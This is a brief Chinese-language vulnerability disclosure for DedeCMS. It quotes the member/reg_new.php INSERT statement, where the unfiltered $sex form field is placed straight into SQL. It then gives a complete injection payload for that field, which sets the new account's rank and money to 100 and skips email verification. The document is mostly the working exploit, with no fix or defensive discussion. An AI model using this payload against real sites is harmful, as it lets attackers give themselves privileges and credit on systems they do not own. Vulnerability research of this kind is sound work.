Dedecms SQL注射导致审核机制绕过漏洞

我们看 member/reg_new.php的代码 $sex变量在表单是单选，程序员没做任何过滤

191 $inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
192 `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
193 VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
194 '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
195 if($dsql->ExecuteNoneQuery($inQuery))

我们提交 $sex=boy',100,100,'sss@xx.xx',1000,0,0,'face',0,'',1316751900,'',1316751900,'');%00
直接把rank 跟money都设置为100了等，绕过邮件审核。